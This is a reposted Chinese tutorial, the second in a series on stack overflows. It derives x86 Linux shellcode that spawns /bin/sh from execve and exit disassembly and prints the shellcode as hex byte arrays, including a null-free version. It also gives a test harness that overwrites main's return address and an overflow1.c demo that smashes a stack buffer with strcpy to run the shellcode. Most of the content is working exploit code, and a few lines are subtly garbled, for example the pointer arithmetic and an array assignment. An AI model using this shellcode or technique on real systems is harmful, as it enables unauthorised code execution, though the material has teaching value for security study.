| 堆栈溢出系列讲座(2)（转）
一：shellcode基本算法分析
在程序中，执行一个shell的程序是这样写的：
shellcode.c
------------------------------------------------------------------------
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序
的argv（argv[n-1]=0)的指针数组作为第二个参数，以及(char*) 0作为第三个参数。
我们来看以看execve的汇编代码：
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl%ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函数头。
0x80002bf <__execve+3>: pushl%ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb，eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一个参数"/bin/sh\0"
0x80002c8 <__execve+12>:movl 0xc(%ebp),%ecx
;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>:movl 0x10(%ebp),%edx
;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL，用来存放返回值。
0x80002ce <__execve+18>:int$0x80
;执行0xb号系统调用(execve)
0x80002d0 <__execve+20>:movl %eax,%edx
;下面是返回值的处理就没有用了。
0x80002d2 <__execve+22>:testl%edx,%edx
0x80002d4 <__execve+24>:jnl0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:negl %edx
0x80002d8 <__execve+28>:pushl%edx
0x80002d9 <__execve+29>:call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>:popl %edx
0x80002df <__execve+35>:movl %edx,(%eax)
0x80002e1 <__execve+37>:movl $0xffffffff,%eax
0x80002e6 <__execve+42>:popl %ebx
0x80002e7 <__execve+43>:movl %ebp,%esp
0x80002e9 <__execve+45>:popl %ebp
0x80002ea <__execve+46>:ret
0x80002eb <__execve+47>:nop
End of assembler dump.
经过以上的分析，可以得到如下的精简指令算法：
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int$0x80;执行系统调用(execve)
当execve执行成功后，程序shellcode就会退出，/bin/sh将作为子进程继续执行。可是，
如果我们的execve执行失败，（比如没有/bin/sh这个文件），CPU就会继续执行后续的
指令，结果不知道跑到哪里去了。所以必须再执行一个exit（）系统调用，
结束shellcode.c的执行。
我们来看以看exit(0)的汇编代码：
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:pushl%ebp
0x800034d <_exit+1>:movl %esp,%ebp
0x800034f <_exit+3>:pushl%ebx
0x8000350 <_exit+4>:movl $0x1,%eax;1号系统调用
0x8000355 <_exit+9>:movl 0x8(%ebp),%ebx ;ebx为参数0
0x8000358 <_exit+12>: int$0x80;引发系统调用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
看来exit(0)〕的汇编代码更加简单：
movl $0x1,%eax;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int$0x80;引发系统调用
那么总结一下，合成的汇编代码为：
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int$0x80;执行系统调用(execve)
movl $0x1,%eax;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int$0x80;执行系统调用(exit)
二：实现一个shellcode
好，我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name数组
。我们可以构造它们出来，可是，在shellcode中如何知道它们的地址呢？每一次程序都是
动态加载，字符串和name数组的地址都不是固定的。
通过JMP和call的结合，黑客们巧妙的解决了这个问题。
------------------------------------------------------------------------
jmpcall的偏移地址 # 2 bytes
popl %esi # 1 byte//popl出来的是string的地址。
movl %esi,array-offset(%esi)# 3 bytes //在string+8处构造 name数组，
//name[0]放 string的地址
movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax# 5 bytes //eax=0xb是execve的syscall代码
。
movl %esi,%ebx# 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int$0x80# 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int$0x80# 2 bytes //int 0x80是sys call
call popl 的偏移地址# 5 bytes //这里放call,string 的地址就会
作
//为返回地址压栈。
/bin/sh 字符串
------------------------------------------------------------------------
首先使用JMP相对地址来跳转到call,执行完call指令，字符串/bin/sh的地址将作为call的
返回地址压入堆栈。现在来到popl esi，把刚刚压入栈中的字符串地址取出来，就获得了
字符串的真实地址。然后，在字符串的第8个字节赋0，作为串的结尾。后面8个字节，构造
name数组（两个整数，八个字节）。
我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
------------------------------------------------------------------------
void main() {
__asm__("
jmp0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax# 5 bytes
movl %esi,%ebx# 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int$0x80# 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int$0x80# 2 bytes
call -0x2f# 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------
编译后，用gdb的
b/bx 〔地址〕
命令可以得到十六进制的表示。
下面，写出测试程序如下：（注意，这个test程序是测试shellcode的基本程序）
test.c
------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *);ret + 2; //ret 等于main（）的返回地址
//(＋2是因为：有pushl ebp ,否则加1就可以了。）
(*ret) = (int)shellcode; //修改main（）的返回地址为shellcode的开始地
址。
}
------------------------------------------------------------------------
------------------------------------------------------------------------
[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
------------------------------------------------------------------------
我们通过一个shellcode数组来存放shellcode，当我们把程序（test.c）的返回地址ret
设置成shellcode数组的开始地址时，程序在返回的时候就会去执行我们的shellcode，从
而我们得到了一个shell。
运行结果，得到了bsh的提示符$,表明成功的开了一个shell。
这里有必要解释的是，我们把shellcode作为一个全局变量开在了数据段而不是作为一段
代码。是因为在操作系统中，程序代码段的内容是具有只读属性的。不能修改。而我们的
代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分，所以不能放在代码段。
这个shellcode可以了吗？很遗憾，还差了一点。大家回想一下，在堆栈溢出中，关键在
于字符串数组的写越界。但是，gets，strcpy等字符串函数在处理字符串的时候，以"\0"
为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。因此，
对于gets（name）来说，上面的shellcode是不可行的。我们的shellcode是不能有\0字符
出现的。
因此，有些指令需要修改一下：
旧的指令 新的指令
--------------------------------------------------------
movb $0x0,0x7(%esi)xorl %eax,%eax
molv $0x0,0xc(%esi)movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eaxxorl %ebx,%ebx
movl $0x0, %ebxmovl %ebx,%eax
inc%eax
--------------------------------------------------------
最后的shellcode为：
------------------------------------------------------------------------
char shellcode[]=
00"\xeb\x1f"/* jmp 0x1f*/
02"\x5e"/* popl %esi */
03"\x89\x76\x08"/* movl %esi,0x8(%esi) */
06"\x31\xc0"/* xorl %eax,%eax*/
08"\x88\x46\x07"/* movb %eax,0x7(%esi) */
0b"\x89\x46\x0c"/* movl %eax,0xc(%esi) */
0e"\xb0\x0b"/* movb $0xb,%al */
10"\x89\xf3"/* movl %esi,%ebx*/
12"\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */
15"\x8d\x56\x0c"/* leal 0xc(%esi),%edx */
18"\xcd\x80"/* int $0x80 */
1a"\x31\xdb"/* xorl %ebx,%ebx*/
1c"\x89\xd8"/* movl %ebx,%eax*/
1e"\x40"/* inc %eax*/
1f"\xcd\x80"/* int $0x80 */
21"\xe8\xdc\xff\xff\xff"/* call -0x24*/
26"/bin/sh";/* .string \"/bin/sh\" */
------------------------------------------------------------------------
三：利用堆栈溢出获得shell
好了，现在我们已经制造了一次堆栈溢出，写好了一个shellcode。准备工作都已经作完，
我们把二者结合起来，就写出一个利用堆栈溢出获得shell的程序。
overflow1.c
------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string = shellcode;
strcpy(buffer,large_string);
}
------------------------------------------------------------------------
在执行完strcpy后，堆栈内容如下所示：
内存底部 内存顶部
buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A
^;buffer
栈顶部 堆栈底部
注：S表示shellcode。
A表示shellcode的地址。
这样，在执行完strcpy后，overflow。c将从ret取出A作为返回地址，从而执行了我们的
shellcode。
|
